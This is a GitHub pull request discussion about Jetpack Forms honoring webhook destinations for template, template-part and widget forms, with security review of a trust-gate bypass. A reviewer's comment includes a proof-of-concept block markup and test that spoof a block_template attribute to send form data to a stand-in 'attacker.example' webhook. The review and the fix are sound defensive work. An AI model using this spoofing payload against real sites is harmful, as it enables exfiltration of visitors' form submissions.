Skip to content

Forms: honor webhook destinations for template, template-part and widget forms#49861

Merged
vianasw merged 8 commits into
trunkfrom
fix/forms-honor-webhooks-template-widget-sources
Jun 26, 2026
Merged

Forms: honor webhook destinations for template, template-part and widget forms#49861
vianasw merged 8 commits into
trunkfrom
fix/forms-honor-webhooks-template-widget-sources

Conversation

@vianasw

@vianasw vianasw commented Jun 23, 2026

Copy link
Copy Markdown
Contributor

Proposed changes

Jetpack 15.9 added capability hardening to outbound form destinations (should_honor_content_destinations): webhooks, the legacy Post to URL, and the Salesforce integration are only honored when the form was placed by an admin-capable author. That gate bailed out for any form whose source id is not a numeric post — which is the case for forms living in block templates, block template parts, and widgets — silently dropping their destinations. Webhooks for those forms stopped firing as of 15.9.

This PR honors those three source types. Editing a block template, template part, or widget already requires the administrator-tier edit_theme_options capability — strictly above what an Editor/Author/Contributor holds — so destinations declared there are trusted.

  • Jetpack_Forms::should_honor_content_destinations() now takes the source type and returns true for block_template, block_template_part, and widget sources, before the numeric-id guard.
  • Added Feedback_Source::get_source_type() and pass the type through from reconcile_content_destinations().
  • The numeric post-author manage_options check is unchanged: post-content forms authored by non-admins remain gated.

Why this is safe

The source type is established server-side and is not forgeable by the submitter: on the JWT submission path the form (attributes + source) is rebuilt from the signed token; on the legacy path the destinations are loaded from the real server-side template/post-meta, never from request input. A non-admin cannot smuggle a destination into a "trusted" source type, because reaching one requires edit_theme_options. This does not reopen the exfiltration/SSRF vector the original hardening closed.

Related product discussion/links

  • p1782156764346269-slack-C087DQUSFAN

Does this pull request change what data or activity we track or use?

No.

Testing instructions

  1. On a block (FSE) theme, edit a template or template part (e.g. the footer) in the Site Editor and add a Jetpack Form with a Webhook integration pointing at a request bin (e.g. webhook.site). Save.
  2. On the front end, submit the form.
  3. Before this PR (Jetpack 15.9+): no request reaches the webhook endpoint; a content_destinations_dropped / author_unauthorized log entry is recorded.
  4. After this PR: the submission is POSTed to the webhook URL as expected.
  5. Repeat with a legacy widget form. As a regression check, confirm a form on a normal admin-authored page still delivers, while a form on a page authored by a non-admin (Editor) still has its destinations dropped.
  6. jetpack test php packages/forms stays green.

🤖 Generated with Claude Code

…get forms

The 15.9 SSRF/exfiltration hardening (should_honor_content_destinations)
only honored content-declared destinations when the source post's author
had `manage_options`. Forms living in block templates, template parts and
widgets have a non-numeric source id and no post author, so the function
bailed at its `is_numeric()` guard and reconcile_content_destinations()
silently wiped their webhooks, postToUrl and Salesforce destinations.

Editing any of those surfaces already requires the administrator-tier
`edit_theme_options` capability — strictly above what an Editor/Author/
Contributor holds — so destinations declared there are trusted. Pass the
source type through and honor block_template, block_template_part and
widget sources. The source type is established server-side (signed JWT, or
a re-render of the real template on the legacy path) and is not forgeable
by the submitter, so this does not reopen the hole for post-content forms
authored by non-admins, which remain gated on the author capability.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@github-actions

github-actions Bot commented Jun 23, 2026

Copy link
Copy Markdown
Contributor

Are you an Automattician? Please test your changes on all WordPress.com environments to help mitigate accidental explosions.

  • To test on WoA, go to the Plugins menu on a WoA dev site. Click on the "Upload" button and follow the upgrade flow to be able to upload, install, and activate the Jetpack Beta plugin. Once the plugin is active, go to Jetpack > Jetpack Beta, select your plugin (Jetpack), and enable the fix/forms-honor-webhooks-template-widget-sources branch.
  • To test on Simple, run the following command on your sandbox:
bin/jetpack-downloader test jetpack fix/forms-honor-webhooks-template-widget-sources

Interested in more tips and information?

  • In your local development environment, use the jetpack rsync command to sync your changes to a WoA dev blog.
  • Read more about our development workflow here: PCYsg-eg0-p2
  • Figure out when your changes will be shipped to customers here: PCYsg-eg5-p2

@github-actions

github-actions Bot commented Jun 23, 2026

Copy link
Copy Markdown
Contributor

Thank you for your PR!

When contributing to Jetpack, we have a few suggestions that can help us test and review your patch:

  • ✅ Include a description of your PR changes.
  • ✅ Add a "[Status]" label (In Progress, Needs Review, ...).
  • ✅ Add testing instructions.
  • ✅ Specify whether this PR includes any changes to data or privacy.
  • ✅ Add changelog entries to affected projects

This comment will be updated as you work on your PR and make changes. If you think that some of those checks are not needed for your PR, please explain why you think so. Thanks for cooperation 🤖


Follow this PR Review Process:

  1. Ensure all required checks appearing at the bottom of this PR are passing.
  2. Make sure to test your changes on all platforms that it applies to. You're responsible for the quality of the code you ship.
  3. You can use GitHub's Reviewers functionality to request a review.
  4. When it's reviewed and merged, you will be pinged in Slack to deploy the changes to WordPress.com simple once the build is done.

If you have questions about anything, reach out in #jetpack-developers for guidance!

@github-actions github-actions Bot added the [Status] Needs Author Reply We need more details from you. This label will be auto-added until the PR meets all requirements. label Jun 23, 2026
@jp-launch-control

jp-launch-control Bot commented Jun 23, 2026

Copy link
Copy Markdown

Code Coverage Summary

Coverage changed in 4 files.

File Coverage Δ% Δ Uncovered
projects/packages/forms/src/class-jetpack-forms.php 9/31 (29.03%) -2.00% 2 ❤️‍🩹
projects/packages/forms/src/contact-form/class-feedback-source.php 68/92 (73.91%) -0.81% 1 ❤️‍🩹
projects/packages/forms/src/contact-form/class-contact-form-plugin.php 695/1557 (44.64%) 0.04% 0 💚
projects/packages/forms/src/contact-form/class-util.php 74/193 (38.34%) 10.41% -10 💚

Full summary · PHP report · JS report

@vianasw vianasw added [Status] Needs Review This PR is ready for review. and removed [Status] Needs Author Reply We need more details from you. This label will be auto-added until the PR meets all requirements. labels Jun 24, 2026
The test helper now also builds template/widget sources, whose ids are
non-numeric strings. Phan flagged passing 'mytheme//page' to an `int`
parameter; a source id is genuinely int|string (matching
Feedback_Source::get_id()), so widen the phpdoc to match.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@vianasw vianasw self-assigned this Jun 24, 2026
@vianasw vianasw requested a review from a team June 24, 2026 15:35
The set {block_template, block_template_part, widget} was duplicated as a
literal in should_honor_content_destinations() and again in the test data
provider, with no single source of truth — a new admin-tier source type
could be added to Feedback_Source and silently miss the trust gate.

Define Feedback_Source::ADMIN_TIER_SOURCE_TYPES (on the class that owns
source types), reference it from the gate, and loop the test over it. The
data_admin_tier_source_types provider is no longer needed — the test now
covers exactly the constant's contents, including any future additions.

No behaviour change.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@vianasw

vianasw commented Jun 25, 2026

Copy link
Copy Markdown
Contributor Author

Code review

No issues found. Checked for bugs and CLAUDE.md compliance.

🤖 Generated with Claude Code

public static function should_honor_content_destinations( $source_id ) {
public static function should_honor_content_destinations( $source_id, $source_type = 'single' ) {
// Block templates, template parts and widgets can only be authored by users with the
// administrator-tier `edit_theme_options` capability, so their destinations are trusted

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Big assumption. I'll agree to it, but seems risky to use a derived capability

@CGastrell

Copy link
Copy Markdown
Contributor

This reopens the dropped SSRF/exfiltration vector for block_template and block_template_part.

widget is genuinely safe — parse() overwrites it server-side (class-contact-form.php:1236). But the other two types are selected in Feedback_Source::get_current() purely from a content attribute that survives parse() untouched (block_template is never cleared; block_template_part is only set when its global is present, never cleared). So an Editor — no edit_theme_options, but unfiltered_html on single-site — can drop the marker + a webhook into an ordinary post, and the new ADMIN_TIER_SOURCE_TYPES short-circuit trusts it:

<!-- wp:jetpack/contact-form {"block_template":"x//y","webhooks":[{"webhook_id":"a","url":"https://attacker.example/x","enabled":true,"format":"json","method":"POST"}]} -->…<!-- /wp:jetpack/contact-form -->

Submit → source_type='block_template'should_honor_content_destinations() returns true. Before this PR the non-numeric id was dropped; now it fires. The signed-JWT path is no safer — the token is honestly signed from the spoofed attributes.

Validating test (fails on this branch, passes once the type is server-anchored):

/**
 * An Editor must not be able to promote a post-content form to an admin-tier
 * source by spoofing the block_template / block_template_part attribute.
 * Regression guard for the destination-authorization hardening.
 */
public function test_content_supplied_template_markers_are_not_trusted() {
	unset( $GLOBALS['grunion_block_template_part_id'] ); // no real template/part render

	foreach ( array( 'block_template', 'block_template_part' ) as $marker ) {
		$source = Feedback_Source::get_current(
			array(
				$marker    => 'mytheme//evil',
				'webhooks' => array(
					array(
						'webhook_id' => 'w',
						'url'        => 'https://attacker.example/x',
						'enabled'    => true,
						'format'     => 'json',
						'method'     => 'POST',
					),
				),
			)
		);

		$this->assertFalse(
			\Automattic\Jetpack\Forms\Jetpack_Forms::should_honor_content_destinations(
				$source->get_id(),
				$source->get_source_type()
			),
			"A content-supplied $marker attribute must not be trusted as an admin-tier source."
		);
	}
}

Fix — key the source type on server render state, not the attribute:

  • block_template_part: in get_current() trigger on the global rather than the attribute (the parse() bridge at class-contact-form.php:1225 then becomes redundant):
    if ( ! empty( $GLOBALS['grunion_block_template_part_id'] ) ) {
        return new self( $GLOBALS['grunion_block_template_part_id'], self::get_source_title(), $page, 'block_template_part', $current_url, $is_test );
    }
  • block_template: set an analogous render-scoped global in the canvas injector (class-util.php:196) and clear it while core/post-content renders — mirroring the existing template-part set/unset hooks (:216/:227). Don't gate on the attribute value or on $_wp_current_template_id.

With the type server-anchored, the ADMIN_TIER_SOURCE_TYPES trust becomes sound. test_…_keeps_destinations_for_block_template_source should then build its source through this render path rather than from_serialized() with an arbitrary source_type, which no longer reflects a reachable state.

@CGastrell

Copy link
Copy Markdown
Contributor

Follow-up review by an agent, adding to the analysis above.

block_template is net-new plumbing, not a mirror of the part pattern. There is no render-scoped global for block_template today: grunion_contact_form_set_block_template_attribute (class-util.php:190) stamps the literal block_template => 'canvas' into the template content string (class-util.php:196-203), and only on forms sitting directly in the template, never the post's own forms. The fix needs a new set/unset hook pair around post-content render. Value-matching 'canvas' is not a valid discriminator — an attacker can supply {"block_template":"canvas",…}; only render state distinguishes.

block_template_part is clean. The global is a genuine server signal (set at class-util.php:216 on render_block_core_template_part_*, unset at :227 when core/template-part finishes). Gating get_current() on ! empty( $GLOBALS['grunion_block_template_part_id'] ) instead of the attribute is correct, and the parse() bridge at class-contact-form.php:1225 becomes redundant.

Anchoring the type at get_current() closes both submission paths. The authz check runs at submit time but the type is fixed at render. Legacy path: the attack form re-parses with a numeric contact-form-id, so no template/part render context → global absent → 'single' → dropped. JWT path: the token was signed at original render, where a post-embedded form likewise had no global → signed as 'single'. Both safe once the type stops trusting the attribute.

Test note. Calling get_current() directly touches global $wp / $wp->request for $current_url; existing tests route through from_serialized() to avoid that. If it warns, seed $GLOBALS['wp']->request or assert via reconcile_content_destinations with a real re-parse.

vianasw and others added 2 commits June 25, 2026 18:58
…bute

The previous commit trusted block_template / block_template_part source
types when deciding whether to honor content-declared destinations. But
Feedback_Source::get_current() derived those types from a form *content*
attribute, which a post author (who need not hold edit_theme_options) can
set on a form in ordinary post content. That made the admin-tier trust
reachable from non-admin-authored content — reopening the very vector the
destination-authorization gate exists to close. The signed JWT did not
help: the token is honestly signed from whatever attributes were present
at render time.

Derive the two template source types from render-scoped globals instead:

- block_template_part: key get_current() on the existing
  $GLOBALS['grunion_block_template_part_id'], which is set only while a
  template part actually renders (the content attribute is now ignored for
  type purposes; it is still populated for form-id computation).
- block_template: set a new $GLOBALS['grunion_block_template_id'] in the
  canvas injector when a block template renders, and suspend it while
  core/post-content renders so a form in the post body is attributed to the
  post (and gated on the post author), mirroring the template-part lifecycle.

widget is unchanged: parse() already overwrites the widget attribute with
the server-resolved context before the form is built.

Adds a regression test that a content-supplied template marker is not
trusted, a positive test for the render-anchored path, and rebuilds the
keep-destinations test through that path rather than a synthetic source.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Collapses the repeated set-global / get_current() / unset dance in the
render-anchored source tests into one helper, centralizing the global
lifecycle. No behaviour change.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@vianasw

vianasw commented Jun 25, 2026

Copy link
Copy Markdown
Contributor Author

Implemented the render-anchoring you both described — thanks for the catch, and for the detailed follow-up.

What changed (latest on the branch, c2a1950):

  • Feedback_Source::get_current() no longer derives the template source types from content attributes. block_template_part keys on the existing $GLOBALS['grunion_block_template_part_id'] (set only while a template part renders); block_template keys on a new $GLOBALS['grunion_block_template_id'] set in the canvas injector and suspended while core/post-content renders — a pre_render_block/render_block bracket, with a small stack so a query loop's repeated/nested post-content restores correctly. A post-body form therefore resolves to single and stays gated on the post author.
  • widget is unchanged — parse() already overwrites it with the server-resolved context.

On the parse() bridge (class-contact-form.php:1225): I left it in. It's redundant for source-type now, but the block_template_part attribute it sets still feeds compute_id() / the legacy contact-form-id match, so removing it would change template-part form IDs. Can split that into a follow-up if you'd prefer.

Tests: a guard that a content-supplied block_template/block_template_part marker does not yield an admin-tier source type; a positive test for the render-anchored path; and the keep-destinations test rebuilt to construct its source through get_current() + the global rather than from_serialized().

CGastrell
CGastrell previously approved these changes Jun 25, 2026

@CGastrell CGastrell left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approving. Verified the render-anchoring on the branch, not just the description.

  • get_current() now derives block_template / block_template_part from render-scoped globals, never from content attributes — so a post-body form (Editor, no edit_theme_options) resolves to single and stays gated on the post author. Closes the spoof on both the legacy and JWT paths, and fails closed (any missing or aborted render leaves the type at single).
  • The block_template post-content suspend/restore bracket (pre_render_block/render_block + stack) is correct for sequential, nested and looped post-content, and is guarded against an empty stack.
  • Legit delivery is genuinely restored: a form in a real template part sets grunion_block_template_part_id at render → honored. Confirmed against the original ticket's footer template-part form.
  • Tests cover the guard (test_content_supplied_template_markers_are_not_trusted), the positive render-anchored path, and the rebuilt keep-destinations case.

Non-blocking: webhook delivery on free sites configured via raw block attributes returns to pre-15.9 behavior — if runtime should be paid-gated, that's a separate decision. The now-redundant parse() bridge at class-contact-form.php:1225 is fine to defer to a follow-up.

LGTM once CI is green.

The code-coverage check flagged the new render-anchoring helpers in
class-util.php (the core/post-content suspend/restore bracket and the
canvas-injector global) as uncovered, because the existing tests set the
render-scoped globals directly and call get_current().

Cover them directly: suspend/restore around core/post-content (including the
nested-post-content case that justifies the stack), the canvas injector
marking the block_template global only for template-canvas.php, and the two
new hook registrations. Also add a get_current() widget-branch test.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
vianasw and others added 2 commits June 26, 2026 12:23
- Break the two intentional adjacent suspend() calls in the nested
  post-content test with an intermediate assertion (also a clearer test).
- Use the null-coalescing operator instead of isset()-ternaries when saving
  the template globals.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The `global $_wp_current_template_content, $_wp_current_template_id;`
declaration already defines both (null if unset), so `?? null` is
unnecessary (PhanCoalescingNeverUndefined). Assign them directly.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@vianasw vianasw merged commit bc6c987 into trunk Jun 26, 2026
76 checks passed
@vianasw vianasw deleted the fix/forms-honor-webhooks-template-widget-sources branch June 26, 2026 10:59
@github-actions github-actions Bot added [Status] UI Changes Add this to PRs that change the UI so documentation can be updated. and removed [Status] Needs Review This PR is ready for review. labels Jun 26, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

[Feature] Contact Form [Package] Forms [Status] UI Changes Add this to PRs that change the UI so documentation can be updated. [Tests] Includes Tests

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants